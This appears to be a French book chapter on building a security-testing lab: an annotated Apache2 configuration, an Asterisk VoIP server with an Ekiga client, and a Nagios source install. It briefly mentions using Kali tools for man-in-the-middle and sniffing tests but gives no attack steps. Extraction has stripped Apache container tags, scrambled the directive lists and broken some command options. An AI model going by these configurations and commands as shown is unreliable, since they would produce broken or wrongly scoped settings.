# # # Fichier du PID: endroit où, à son démarrage, Apache doit stocker # son numéro d’identification de processus PidFile /var/run/apache2.pid # Délai d’attente dépassé : nombre de secondes avant de recevoir # et d’envoyer un message de "Délai d’attente dépassé" (timeout) Timeout 300 # Connexion persistante : alloue ou non les requêtes persistantes # (plus d’une requête par connexion). # Mettre à "Off" pour désactiver. KeepAlive On # Nombre maximum de requêtes allouées durant une connexion persistante. # 0 = non limité # Il est recommandé de garder ce nombre assez haut pour des # performances maximales MaxKeepAliveRequests 100 # Nombre de secondes d’attente pour la prochaine requête # d’un même client sur une même connexion avant un timeout KeepAliveTimeout 15 # Configuration du mpm chargé # Nombre de processus serveurs fils à créer au démarrage. StartServers 5 # Nombre minimum de processus en attente d’intercepter des requêtes MinSpareServers 5 # Nombre maximum de processus en attente MaxSpareServers 15 # Nombre maximum de processus fils créés # pour intercepter les requêtes simultanément MaxClients 150 # Limite le nombre de requêtes qu’un processus fils intercepte # durant son temps de vie. Si 0 alors le processus n’expirera jamais. MaxRequestsPerChild 0 StartServers 2 MaxClients 150 # Nombre minimum de processus en attente d’intercepter les pics # de requêtes MinSpareThreads 25 # Nombre maximum de processus en attente MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 # Utilisateur et Group sous lesquels les processus du serveur # seront lancés User www-data Group www-data # Fichier de restriction des accès # non conseillé, préférer les directives internes au fichier

# de configuration # voir [[http://httpd.apache.org/docs/2.2/howto/htaccess.html]] AccessFileName .htaccess # Les lignes suivantes empêchent les fichiers .htaccess et .htpasswd # d’être vus par les clients Web (i.e. les navigateurs). Order allow,deny Deny from all Satisfy All # Restriction de la racine du serveur Order Deny,Allow Deny from all Options None AllowOverride None # Fichier contenant la liste des conversions des extensions de fichiers # vers le type de contenu. # par défaut ce fichier est relié au contenu enregistré à l’IANA. # http://www.iana.org/assignments/media-types/index.html. TypesConfig /etc/mime.types # définit le type par défaut des fichiers dont le type ne peut être # déterminé par le serveur. # Il convient de le mettre à "none" afin de ne pas fournir # d’informations erronées. DefaultType none # Active la résolution DNS pour les noms d’hôtes HostnameLookups Off # chemin du fichier de log des erreurs du serveur. ErrorLog /var/log/apache2/error.log # niveau de log # emerg # alert # # crit # error # warn # notice # # info # debug LogLevel warn

du serveur Messages Urgents - Le système est inutilisable. Messages d’actions qui doivent être effectuées immédiatement. Messages critiques. Messages d’erreurs. Messages d’avertissement. Messages normaux mais qui ont une utilité pour l’administrateur. Messages d’informations. Messages de débogage

# format des lignes contenues dans les logs # %a Adresse ip distante. # %A Adresse ip local. # %B Taille de la réponse en octets, excluant l’en-tête HTTP. # %b Taille de la réponse en octets, excluant l’en-tête HTTP # au format CLF. # %{Foobar}C Contenu du cookie "Foobar" de la requête envoyée au serveur. # %D Le temps mis à servir la requête. # %{FOOBAR}e Contenu de la variable d’environnement "FOOBAR".

# %f # %h # %H # %{Foobar}i # # %l fourni). # # # %m # %{Foobar}n # %{Foobar}o # %p # %P # %{format}P # # # %q # # %r # %s # # %t # # %{format}t # # %T # %u faux # # %U # %v # # %V # %X # # # # # %I être # # %O # LogFormat combined LogFormat LogFormat LogFormat

Nom du fichier. Hôte distant. Le protocole demandé. Le contenu de "Foobar": Ligne(s) d’en-tête de la requête envoyée au serveur. nom du fichier de log distant (de identd, s’il est cela retournera un tiret tant que //mod_ident// n’est pas présent et //IdentityCheck// n’est pas mis à ON. Méthode de la requête. Contenu de la note "Foobar" provenant d’un autre module. Le contenu de "Foobar": Ligne(s) d’en-tête dans la réponse. Port canonique du serveur qui sert la réponse. Id du processus fils qui a servi la requête. Id du processus ou du thread fils qui a servi la requête. Les formats valides sont pid, tid, et hextid. hextid nécessite APR 1.2.0 ou supérieur. Chaînes de la requête (commençant avec un ? si une chaîne de requête existe, sinon une chaîne vide). Première ligne de la requête. Statut. Pour les requêtes redirigées en interne, ceci est la requête originale --- %>s pour la dernière. Heure à laquelle la requête a été reçue (format standard anglais mois jour année). L’heure, au format précisé, qui doit être dans les formats de strftime(3). (potentiellement localisé). Le temps mis pour répondre à la requête. Utilisateur distant (de l’authentification ; peut être si le code de retour de statut (%s) est 401) Url demandée, n’inclut aucune chaîne de requête. Nom canonique de ServerName du serveur qui répond à la requête. Nom du serveur en fonction du paramètre UseCanonicalName. Statut de la connexion une fois la réponse envoyée. X = connexion annulée avant la réponse complète. + = la connexion peut être maintenue après l’envoi de la réponse. - = la connexion sera fermée après l’envoi de la réponse. Octets reçus, incluant l’en-tête et la requête, ne peut nul. Vous devez activer //mod_logio// pour l’utiliser. Octets envoyés, incluant l’en-tête, ne peut être nul. Vous devez activer //mod_logio// pour l’utiliser.

"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" "%h %l %u %t \"%r\" %>s %b" common "%{Referer}i -> %U" referer "%{User-agent}i" agent

# en-tête envoyé au client à propos du serveur # Prod Server: Apache # Major Server: Apache/2 # Minor Server: Apache/2.0 # Min Server: Apache/2.0.41 # OS Server: Apache/2.0.41 (Unix) # Full (ou non spécifié) Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2 ServerTokens Prod # Pied de page renvoyé par le serveur

# utile pour déterminer quel serveur proxy génère une erreur, dans le cas # où plusieurs serveurs sont utilisés ServerSignature Off # Inclusion des fichiers, contenus dans le dossier des mods, qui sont # activés Include /etc/apache2/mods-enabled/*.load Include /etc/apache2/mods-enabled/*.conf # Inclusion de l’ancien fichier de configuration d’Apache # à des fins de compatibilités ascendantes. Include /etc/apache2/httpd.conf # Inclusion du fichier de configuration des adresses et ports # sur lesquels le serveur sera à l’écoute Include /etc/apache2/ports.conf # Inclusion d’autres fichiers de configuration Include /etc/apache2/conf.d/ # inclusion des configurations des sites actifs Include /etc/apache2/sites-enabled/ # Directive des alias # alias des icônes d’Apache # nom de l’alias, répertoire vers lequel pointe l’alias Alias /icons "/usr/share/apache2/icons/" Options None AllowOverride None Order allow,deny Allow from all # alias pour awstats Alias /awstats-icon "/usr/share/awstats/icon" ScriptAlias /awstats "/usr/lib/cgi-bin/" Options None #Indexes MultiViews AllowOverride None Order allow,deny Allow from all # Types images d’icône IndexOptions FancyIndexing VersionSort HTMLTable NameWidth=* AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip AddIconByType AddIconByType AddIconByType AddIconByType

(TXT,/icons/text.gif) text/* (IMG,/icons/image2.gif) image/* (SND,/icons/sound2.gif) audio/* (VID,/icons/movie.gif) video/*

AddIcon /icons/binary.gif .bin .exe AddIcon /icons/binhex.gif .hqx

AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon AddIcon

/icons/tar.gif .tar /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv /icons/compressed.gif .Z .z .tgz .gz .zip /icons/a.gif .ps .ai .eps /icons/layout.gif .html .shtml .htm .pdf /icons/text.gif .txt /icons/c.gif .c /icons/p.gif .pl .py /icons/f.gif .for /icons/dvi.gif .dvi /icons/uuencoded.gif .uu /icons/script.gif .conf .sh .shar .csh .ksh .tcl /icons/tex.gif .tex /icons/bomb.gif core

AddIcon AddIcon AddIcon AddIcon

/icons/back.gif .. /icons/hand.right.gif README /icons/folder.gif ˆˆDIRECTORYˆˆ /icons/blank.gif ˆˆBLANKICONˆˆ

DefaultIcon /icons/unknown.gif ReadmeName README.html HeaderName HEADER.html IndexIgnore .??* *~ *# RCS CVS *,v *,t # Type langages AddType application/x-compress .Z AddType application/x-gzip .gz .tgz AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage AddLanguage

ca .ca cs .cz .cs da .dk de .de el .el en .en eo .eo es .es et .et fr .fr he .he hr .hr it .it ja .ja ko .ko ltz .ltz nl .nl nn .nn no .no pl .po pt .pt pt-BR .pt-br ru .ru sv .sv zh-CN .zh-cn zh-TW .zh-tw

# Langue prioritaire pour les pages de réponses (choisir l’ordre # des langues des pages) LanguagePriority fr ca cs da de el eo es et en he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW ForceLanguagePriority Prefer Fallback # Type d’encodage de caractères AddCharset us-ascii .ascii .us-ascii AddCharset ISO-8859-1 .iso8859-1 .latin1 AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen AddCharset ISO-8859-3 .iso8859-3 .latin3 AddCharset ISO-8859-4 .iso8859-4 .latin4 AddCharset ISO-8859-5 .iso8859-5 .cyr .iso-ru AddCharset ISO-8859-6 .iso8859-6 .arb .arabic AddCharset ISO-8859-7 .iso8859-7 .grk .greek AddCharset ISO-8859-8 .iso8859-8 .heb .hebrew AddCharset ISO-8859-9 .iso8859-9 .latin5 .trk AddCharset ISO-8859-10 .iso8859-10 .latin6 AddCharset ISO-8859-13 .iso8859-13 AddCharset ISO-8859-14 .iso8859-14 .latin8 AddCharset ISO-8859-15 .iso8859-15 .latin9 AddCharset ISO-8859-16 .iso8859-16 .latin10 AddCharset ISO-2022-JP .iso2022-jp .jis AddCharset ISO-2022-KR .iso2022-kr .kis AddCharset ISO-2022-CN .iso2022-cn .cis AddCharset Big5 .Big5 .big5 .b5 AddCharset cn-Big5 .cn-big5 # Pour le russe, plus d’un charset est utilisé (dépend du client # le plus souvent) AddCharset WINDOWS-1251 .cp-1251 .win-1251 AddCharset CP866 .cp866 AddCharset KOI8 .koi8 AddCharset KOI8-E .koi8-e AddCharset KOI8-r .koi8-r .koi8-ru AddCharset KOI8-U .koi8-u AddCharset KOI8-ru .koi8-uk .ua AddCharset ISO-10646-UCS-2 .ucs2 AddCharset ISO-10646-UCS-4 .ucs4 AddCharset UTF-7 .utf7 AddCharset UTF-8 .utf8 AddCharset UTF-16 .utf16 AddCharset UTF-16BE .utf16be AddCharset UTF-16LE .utf16le AddCharset UTF-32 .utf32 AddCharset UTF-32BE .utf32be AddCharset UTF-32LE .utf32le AddCharset euc-cn .euc-cn AddCharset euc-gb .euc-gb AddCharset euc-jp .euc-jp AddCharset euc-kr .euc-kr #Not sure how euc-tw got in - IANA doesn’t list it??? AddCharset EUC-TW .euc-tw AddCharset gb2312 .gb2312 .gb AddCharset iso-10646-ucs-2 .ucs-2 .iso-10646-ucs-2

AddCharset iso-10646-ucs-4 .ucs-4 .iso-10646-ucs-4 AddCharset shift_jis .shift_jis .sjis AddHandler type-map var AddType text/html .shtml AddOutputFilter INCLUDES .shtml BrowserMatch "Mozilla/2" nokeepalive BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0 BrowserMatch "RealPlayer 4\.0" force-response-1.0 BrowserMatch "Java/1\.0" force-response-1.0 BrowserMatch "JDK/1\.0" force-response-1.0 BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully BrowserMatch "MS FrontPage" redirect-carefully BrowserMatch "ˆWebDrive" redirect-carefully BrowserMatch "ˆWebDAVFS/1.[012]" redirect-carefully BrowserMatch "ˆgnome-vfs/1.0" redirect-carefully BrowserMatch "ˆXML Spy" redirect-carefully BrowserMatch "ˆDreamweaver-WebDAV-SCM1" redirect-carefully # module d’information sur le statut du serveur SetHandler server-status Order deny,allow Deny from all Allow from 127.0.0.1 # module des informations du serveur SetHandler server-info Order deny,allow Deny from all Allow from 127.0.0.1

Le fichier sites-available contient les différents vhosts que nous utiliserons. Les vhosts nous permettent de définir plusieurs sites sur une même machine, le plus souvent des sous-domaines (www.domain.tld, machin.domain.tld…), mais aussi d’autres domaines (domain.tld, autredomain.tld…). Nous pouvons donc ouvrir le fichier /etc/apache2/sites-available/default et le configurer comme suit : # NameVirtualHost définit les IPs à utiliser par apache, # * signifie qu’on utilise n’importe quelle IP pour accéder au serveur # 127.0.0.1 (boucle locale), 192.168.x.x (ip reseau local), ou une IP

# externe. # Cette directive est en dehors du vhost, on pourrait donc la déplacer # dans apache2.conf. # Dans tous les cas, si elle est définie à *, elle ne doit pas être # reprise dans les autres vhosts. NameVirtualHost *:80 # Le vhost proprement dit : il est compris dans un bloc . # Ces blocs définissent la "portée" de la validité des directives qui # y sont définies. # Le * derrière VirtualHost définit ici que le vhost est valable pour # toutes les IP sur lesquelles Apache écoute. # ServerName définit le nom utilisé pour le vhost. Mettez le nom # de l’hôte du domaine ServerName www.domain.tld # ServerAlias définit les autres sous-domaines pour lesquels le # serveur répondra. ServerAlias domain.tld *.domain.tld # ServerAdmin vous permet de spécifier un e-mail à utiliser en cas de # problème, sur une page d’erreur 404 par exemple. ServerAdmin [email protected] # DocumentRoot définit le dossier racine dans lequel seront stockés # les fichiers du site. DocumentRoot /var/www/htdocs # Directory définit les options par défaut du répertoire # Active les options: # FollowSymLinks permet de suivre les liens symboliques. # Indexes autorise le listage de fichiers # d’un répertoire qui ne contient pas d’index. Options Indexes FollowSymLinks MultiViews # AllowOverride permet de surcharger certaines options # en utilisant des fichiers .htaccess dans le # répertoire du site. AllowOverride None # Droits par défaut Order allow,deny allow from all # permet de rediriger les requêtes vers un fichier # d’index précis RedirectMatch ˆ/$ /index.php ErrorLog /var/log/apache2/error.domain.tld.log CustomLog /var/log/apache2/access.domain.tld.log combined

Nous pouvons maintenant enregistrer ce fichier sous un autre nom (nouveau_host) et supprimer default : fasm#a2dissite default

et activer le nouveau fichier : fasm#a2ensite nouveau_host

Nous pouvons éditer le fichier /etc/hosts et ajouter le « host » que nous venons de créer en insérant cette ligne :

127.0.0.1

localhost

nouveau_host

Pour finir, nous allons maintenant activer les scripts CGI. Pour cela, nous retournons dans le fichier de conf apache2.conf et ajoutons : ScriptAlias /cgi-bin/ /var/www/votre_site/cgi-bin/ Options ExecCGI AddHandler cgi-script cgi pl py

Notre configuration de base est terminée ; nous pouvons lancer le serveur : fasm# /etc/init.d/apache2 start

Si la configuration est bonne, nous devrions avoir, en tentant de nous connecter avec un navigateur web sur l’adresse IP de notre serveur, l’écran suivant :

Nous voici avec une machine virtuelle de plus configurée pour accueillir des sites web.

Serveur Asterisk La VoIP (Voice over IP) est maintenant partout dans les entreprises et est donc une source de failles potentielles. Il est nécessaire de pouvoir tester ces nouvelles technologies pour essayer de comprendre leur fonctionnement et de voir ce qu’un pirate pourrait essayer de tenter pour écouter une conversation, pénétrer le système ou altérer les données. Nous allons donc installer Asterisk qui est le logiciel libre de VoIP le plus connu et le plus utilisé.

1. Installation Nous installons le paquet asterisk : fasm#aptitude install asterisk

Une multitude de paquets seront installés, tous utiles pour asterisk.

2. Configuration Deux fichiers seulement seront nécessaires pour un fonctionnement basique d’Asterisk : les fichiers sip.conf et extensions.conf qui se trouvent dans /etc/asterisk/. Nous nous contenterons de la configuration basique. Asterisk est très documenté et nous pourrons aisément l’affiner si nous le souhaitons. Les possibilités sont nombreuses, nous pourrons configurer un répondeur et un menu vocal entre autres. a. Sip.conf Tous les comptes utilisateurs que nous voulons créer seront définis dans ce fichier. Nous n’en déclarerons que deux pour cet exemple. Supposons que le premier utilisateur est fasm et ajoutons la configuration ci-dessous dans le fichier sip.conf : [fasm] type=friend host=dynamic user=fasm secret=acissi context=default

[fasm] est le début du bloc SIP. Les informations présentes après cette ligne concerneront le compte de l’utilisateur fasm. type=friend permet d’appeler et d’être appelé.

host=dynamic l’adresse IP du client est définie par DHCP. Si son IP était fixe, nous l’aurions précisée ici. user=fasm est le nom de l’utilisateur. secret=acissi est le mot de passe en clair. context=default est le contexte auquel le compte est associé dans le dialplan (servira pour le fichier extensions.conf), le dialplan étant une suite d’instructions numérotées, que nous verrons un peu plus loin dans le chapitre, qui seront exécutées dans un ordre précis. Notez qu’en utilisant secret, le mot de passe est stocké en clair. Il est préférable d’utiliser md5secret, qui, comme son nom l’indique, utilisera une empreinte md5. Voici la structure nécessaire pour la génération du hash : ::

Par défaut, le realm est asterisk. Pour générer l’empreinte MD5 de l’utilisateur fasm qui a pour mot de passe acissi avec bash, nous ferons donc : $ echo -n "fasm:asterisk:acissi" | md5sum 43247d05bb29adf5e9c8aef26992fcfe -

Nous pouvons bien sûr affiner la configuration d’Asterisk pour ce fichier mais le but est ici d’avoir une base fonctionnelle rapidement. Nous nous arrêterons donc là pour la configuration de l’utilisateur fasm. Nous pouvons faire de même pour un autre utilisateur. [codej] type=friend host=dynamic user=codej secret=acissi context=default

Nous pouvons passer à la configuration du deuxième fichier. b. Extensions.conf Ce fichier va nous permettre de définir le plan de la numérotation qui est appelé dialplan, c’est-à-dire que l’on va définir les actions qui seront effectuées quand on composera un numéro. Cela sera de la forme : [default] exten => 555,1,Dial(SIP/fasm)

Le context ([default]) est une zone où la portée des actions est limitée.

Cela permet par exemple d’attribuer deux numéros identiques à des utilisateurs différents, l’un ou l’autre sera contacté suivant le contexte défini dans le compte SIP de l’utilisateur cherchant à les joindre. Le fichier de configuration est assez difficile à lire au premier abord car il est très documenté. Il nous faudra prêter attention à l’endroit où nous ajouterons la ligne ci-dessous. Il faudra bien se trouver dans la partie [default]. La ligne contenant exten nous montre comment enregistrer une extension. Nous commençons par le mot-clé exten suivi d’une flèche =>. 555 est le numéro que nous souhaitons associer, c’est le numéro que nous composerons sur le téléphone. 1 est le numéro de séquence. Nous pouvons en effet ordonner plusieurs actions pour une même extension, nous verrons cela un peu plus loin. Dial(SIP/fasm) est l’action à effectuer. Nous appelons ici la fonction Dial(), qui déclenche l’appel, avec pour argument SIP/fasm pour appeler le compte SIP fasm. Ici donc, pour tous les utilisateurs du contexte default, composer le 555 appellera fasm. Si nous souhaitons, avant d’appeler la personne, attendre quelques secondes, par exemple 3 secondes, nous allons chaîner les instructions : [default] exten => 100,1,Dial,wait(3) exten => 100,2,Dial,SIP/fasm

Nous avons dans l’exemple ci-dessus une suite d’actions (1 et 2) mais nous pouvons chaîner comme cela plusieurs actions, par exemple : exten exten exten exten

=> => => =>

555,1,Answer 555,2,Playback(tt-weasels) 555,3,Voicemail(44) 555,4,Hangup

Quand 555 est appelé, Asterisk répond de lui-même (Answer) et joue une musique (ttweasels) et nous donne la possibilité de laisser un message (Voicemail) sur la boîte volale 44 et raccroche. Les possibilités sont multiples créer un serveur vocal, rediriger les appels... Nous pouvons approfondir la configuration si besoin car Asterisk est bien documenté, que ce soit sur Internet ou en ouvrages aux Éditions ENI. Revenons à présent à notre cas avec deux utilisateurs : [default] exten => 555,1,Dial(SIP/fasm) exten => 556,1,Dial(SIP/codej)

Nous avons fait des changements dans les configurations des fichiers. Il nous faut à présent que le système prenne en compte ces modifications. Pour toute modification de sip.conf et de extensions.conf, il est nécessaire qu’Asterisk recharge ces fichiers. Pour cela, nous nous connectons sur la console d’Asterisk : # asterisk -rvvvvdddd (les v pour verbose, les d pour debug)

Puis nous rechargeons Asterisk : reload

La commande suivante permet de recharger uniquement le dialplan (extensions.conf) : dialplan reload

À ce moment-là, le serveur est opérationnel. fasm et codej possèdent un compte SIP et un numéro associé.

3. Ajout de fonctions Le transfert d’appel et la mise en attente sont souvent directement implémentés dans les softphone (logiciels de téléphonie VoIP) et les terminaux SIP. Les manipulations suivantes permettent de les activer directement dans Asterisk, ce qui permet de s’affranchir d’un logiciel ou matériel particulier. a. Transfert d’appel Nous devons activer les tonalités DTMF (Dual-Tone Multi-Frequency) à la fois côté client et côté serveur. Le DTMF est une combinaison de fréquences utilisée pour la téléphonie moderne. Il est utilisé quand nous composons les numéros de téléphone et il a permis la création des premiers serveurs vocaux interactifs. Pour Asterisk, il suffit d’ajouter la ligne suivante dans sip.conf, dans le contexte [general] ou pour chaque utilisateur : dtmfmode = rfc2833

Nous devrons regarder du côté des paramètres SIP du côté client pour activer cette option. Pour activer le transfert d’appel, il suffit tout simplement de modifier les paramètres de la fonction Dial dans extensions.conf : exten => 555,2,Dial(SIP/fasm,,tT)

Après SIP/fasm, nous avons ajouté les options t et T qui autorisent l’appelé et l’appelant à transférer l’appel.

Pour effectuer le transfert, il faut appuyer durant une communication sur le signe # (on entend à ce moment-là « transfert ») suivi du numéro sur lequel on souhaite transférer l’appel. b. Mise en attente La mise en attente permet de mettre une communication en pause, ce qui peut parfois être très utile pour ne pas perdre un client. Cela est très utile, car de ce fait, la ligne est libérée. Nous pouvons alors composer un autre numéro ou récupérer l’appel sur un autre poste. Il est là aussi nécessaire d’activer les tonalités DTMF. Pour activer la mise en attente, il suffit d’ajouter la ligne suivante dans le contexte [default] du fichier extensions.conf : include=>parkedcalls

Pour mettre son interlocuteur en attente lors d’un appel, il faut composer le #700. Le serveur attribue un numéro au sein du parc d’attente. On peut alors raccrocher, changer de poste et reprendre l’appel en composant le numéro annoncé par le serveur. c. Messagerie vocale Si nous voulons que la voix de la messagerie soit en français, il faut le spécifier lors de la compilation d’Asterisk à l’aide de la commande : fasm$ make menuselect

Il faut ensuite ajouter dans le contexte [general] de sip.conf la ligne suivante : language=fr

Nous pouvons créer ensuite une boîte vocale dans le fichier /etc/asterisk/voicemail.conf, dans le contexte [default] : 100 => 1010,fasm, [email protected]

100 est le numéro de téléphone auquel on associe la boîte vocale. 1010 est le mot de passe de la messagerie. Nous avons ensuite le nom de l’utilisateur ainsi que son adresse e-mail. L’e-mail servira à l’alerter en cas de réception de message vocal, à condition qu’un MTA (Mail Transfert Agent) soit correctement configuré comme postfix ou autre. La boîte vocale est maintenant déclarée, il reste à l’inclure dans extensions.conf pour qu’elle soit utilisée : exten => 100,1,Dial(SIP/fasm, 10) exten => 100,2,Voicemail(b101) exten => 100,3,Hangup

La première action effectuée lorsque nous composons le 100 est l’appel de fasm. Le 10 situé après la virgule est la temporisation avant de passer à la deuxième séquence. C’est pour cela que nous avions mis deux virgules de suite dans la section transfert d’appel. Une fois le timeout atteint, nous basculons sur la deuxième séquence, qui est l’appel de la boîte vocale avec la fonction Voicemail. Enfin, nous raccrochons avec la fonction Hangup. Dès que le principe est bien compris, nous nous rendons compte qu’il existe une logique et il suffit de s’en imprégner pour commencer à apprécier Asterisk. d. Configuration du MTA pour la messagerie vocale Il est très intéressant de passer par une alerte e-mail lors de la réception d’un message : l’utilisateur est alors au courant du fait qu’il a un message, et peut l’écouter directement en pièce jointe. Nous retrouvons cela dans nos box (Livebox, Freebox...) où il nous est possible de recevoir un e-mail quand un message est laissé sur le répondeur. Nous avons déjà renseigné l’adresse e-mail de l’utilisateur dans voicemail.conf, il ne nous reste plus qu’à configurer un MTA. Exim4 est le MTA par défaut de Debian, nous l’utiliserons donc. Nous allons commencer par reconfigurer exim4 : dpkg-reconfigure exim4-config Type de configuration : Distribution directe par SMTP (site Internet) Nom de courriel du système :le FQDN Liste d’adresses IP où Exim sera en attente de connexions SMTP entrantes : 127.0.0.1 Autres destinations dont le courriel doit être accepté : vide Domaines à relayer : vide Machines à relayer : vide Faut-il minimiser les requêtes DNS (connexions à la demande) ? Non Méthode de distribution du courrier local : Format "mbox" dans /var/mail Faut-il séparer la configuration dans plusieurs fichiers ? Non

Le serveur e-mail va se relancer. Asterisk sera dès lors capable d’envoyer des e-mails d’alerte avec le message vocal en pièce jointe. Nous avons fait un tour, rapide malgré les apparences, des possibilités réelles d’Asterisk. Nous pouvons créer, gratuitement et chez nous, un serveur VoIP avec toutes les options imaginables. Il nous est même possible d’avoir deux serveurs à des endroits différents et de pouvoir nous appeler entre nous en passant par ces serveurs.

4. Configuration d’un client SIP Nous devons d’abord installer Ekiga sur le client :

fasm#aptitude install ekiga

Ekiga est un logiciel de téléphonie SIP et de visioconférence. Au premier lancement d’Ekiga, un assistant de configuration en 8 étapes va nous être proposé. Nous suivrons ce guide.

Pour l’instant, rien de particulier, il suffit de cliquer sur Forward.

Nous indiquons ici le nom que nous voulons donner à ce compte.

Nous cochons la case afin de ne pas créer de compte sur ekiga.net, ce n’est pas notre but ici.

Nous placerons ici bien sûr nos identifiants (compte et mot de passe) qui ont été configurés dans sip.conf dans les sections précédentes.

Nous avons choisi ici LAN mais tout dépend de l’utilisation que nous voulons en faire (réseau LAN, DSL …). Pour notre laboratoire, nous serons donc en LAN.

Cette configuration par défaut convient très bien pour la carte son du PC client, nous devrons éventuellement l’adapter suivant le matériel du PC client.

La configuration est maintenant terminée et il ne reste plus qu’à se connecter sur le serveur (ici, 192.168.1.3).

Nous pouvons créer un compte manuellement en allant dans Edition - Comptes puis Comptes - Ajouter un compte SIP, et ensuite remplir comme suit :

Le registraire sera l’adresse IP de notre serveur Asterisk. Nous avons maintenant toutes les cartes en main pour effectuer des appels et, à l’aide d’outils spécialisés dans la Kali Linux (anciennement BackTrack), tenter des « man in the middle », du sniffing et autres...

Nagios Nous venons d’installer différents services, chacun dans des machines virtuelles différentes. Mais comment, à part l’interface de Proxmox, surveiller le fonctionnement de ces dernières et voir les éventuels changements dans l’état des services ? Il nous faut superviser tout cela, Nagios est fait pour nous.

Nagios est l’outil idéal de surveillance : nous pourrons à tout moment visualiser par exemple l’arrêt d’un service ou son démarrage, ou toute autre modification sur un client distant (ordinateur, switch, routeur...). Nous voilà donc avec une nouvelle machine virtuelle avec une distribution Debian Squeeze installée. La mise à jour a été effectuée. Pour être sûr que nous pointons vers les bons dépôts, nous vérifierons que la liste des dépôts dans /etc/sources.list est bien identique à celle-ci : deb http://ftp.fr.debian.org/debian/ squeeze main deb-src http://ftp.fr.debian.org/debian/ squeeze main deb http://security.debian.org/ squeeze/updates main deb-src http://security.debian.org/ squeeze/updates main # squeeze-updates, previously known as ’volatile’ deb http://ftp.fr.debian.org/debian/ squeeze-updates main deb-src http://ftp.fr.debian.org/debian/ squeeze-updates main

Nous pourrons installer Nagios de plusieurs façons différentes : soit en compilant les fichiers sources que nous pouvons trouver sur le site de Nagios, soit en utilisant les dépôts officiels (cela dépend donc de la distribution). Nous allons donc voir par la suite ces deux méthodes.

1. Nagios avec les fichiers sources a. Installation Nagios dépend de nombreux paquets dans son fonctionnement. Nous commencerons donc grâce à la commande aptitude ou apt-get par les installer. fasm#aptitude install php5-gd postfix fping snmp ntp smbclient nmap saidar traceroute php5-snmp curl gettext

Nous aurons aussi besoin de l’environnement de compilation : fasm#aptitude install build-essential

Nous voilà prêts pour l’installation de Nagios. Nagios a besoin d’un utilisateur pour fonctionner, mais aussi d’un répertoire local où seront installés les fichiers de configuration et les binaires. Nous créerons d’abord grâce à la commande mkdir le répertoire nagios dans /usr/local. #fasm#mkdir /usr/local/nagios

Nous pouvons dès à présent créer un groupe nagios, un groupe nagcmd (commande groupadd) et créer l’utilisateur nagios (commande useradd). fasm#groupadd -g 9000 nagios

fasm#groupadd -g 9001 nagcmd fasm#useradd -u 9000 -g nagios -G nagcmd -d /usr/local/nagios -c "Nagios Admin" nagios

Les commandes ci-dessus sont bien sûr disponibles sur le site de Nagios (http://www.nagios.org/) dans l’onglet Documentation. Des librairies de développement sont aussi indispensables afin de pouvoir compiler Nagios : fasm#aptitude install libperl-dev libgd2-xpm-dev libltdl3-dev linux-headers-`uname -r`

Pour finir avec les librairies, installons-en une spécifique pour Nagios 3. Nous l’installons ici à part mais nous aurions pu, bien entendu, l’installer en même temps que les autres librairies. fasm#aptitude install

libglib2.0-dev

Nous arrivons enfin à la partie propre de Nagios, le téléchargement et l’installation du paquet nagios. La commande wget va nous permettre de télecharger le paquet voulu sur le site SourceForge. Nous pourrons choisir le dernier paquet en date. Ce dernier est un fichier compressé en tar.gz, l’étape suivante sera donc de décompresser ce fichier (tar -xzf : pour plus d’information sur cette commande, nous pourrons aller voir le man sur notre machine Linux). Une fois ce fichier décompressé, nous pourrons, grâce à la commande ls, visualiser les fichiers de Nagios. Nous trouverons un fichier README qui explique comment installer le paquet. C’est à partir des informations de ce fichier README que nous exécuterons les commandes suivantes : fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagios/ nagios-3.3.1.tar.gz fasm#tar -xzf nagios-3.3.1.tar.gz fasm#cd nagios fasm#./configure --prefix=/usr/local/nagios --with-nagiosuser=nagios --with-nagios-group=nagios --with-command-user=nagios --with-command-group=nagcmd --enable-event-broker --enablenanosleep --enable-embedded-perl -with-perlcache fasm#make all fasm#make install fasm#make install-init fasm#make install-commandmode fasm#make install-config fasm#make install-webconf

C’est une installation assez classique avec dans un premier temps le ./configure qui va permettre de vérifier notre configuration. Les options données ci-dessus sont aussi extraites de la documentation Nagios. Nous pouvons ensuite effectuer les différentes make nécessaires à cette installation.

Nous allons passer à la création du fichier d’utilisateur : htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin chown nagios:nagcmd /usr/local/nagios/etc/htpasswd.users

Nagios utilise Apache que nous avons vu dans une section précédente. Nous ajouterons donc l’utilisateur apache au groupe nagcmd pour pouvoir exécuter les commandes externes de Nagios depuis l’interface (ex : nagcmd:x:9001:www-data). adduser www-data nagcmd /etc/init.d/apache2 restart

Si nous souhaitons que Nagios démarre à chaque redémarrage de la machine, nous devons l’indiquer à la machine grâce à la commande update-rc. chmod +x /etc/init.d/nagios update-rc.d nagios defaults

Nous pouvons maintenant démarrer Nagios. /etc/init.d/nagios start

La dernière étape va consister à installer les plug-ins manquants : fasm#apt-get install libgnutls-dev libmysqlclient15-dev libssl-dev libsnmp-perl libkrb5-dev libldap2-dev libsnmp-dev libnet-snmp-perl gawk libwrap0-dev libmcrypt-dev fping snmp gettext smbclient dnsutils fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagiosplugins-1.4.15.tar.gz fasm#tar -xzf nagios-plugins-1.4.15.tar.gz fasm#cd nagios-plugins-1.4.15/ fasm#./configure --with-nagios-user=nagios --with-nagiosgroup=nagios --enable-libtap --enable-extra-opts -enable-perlmodules fasm#make fasm#make install

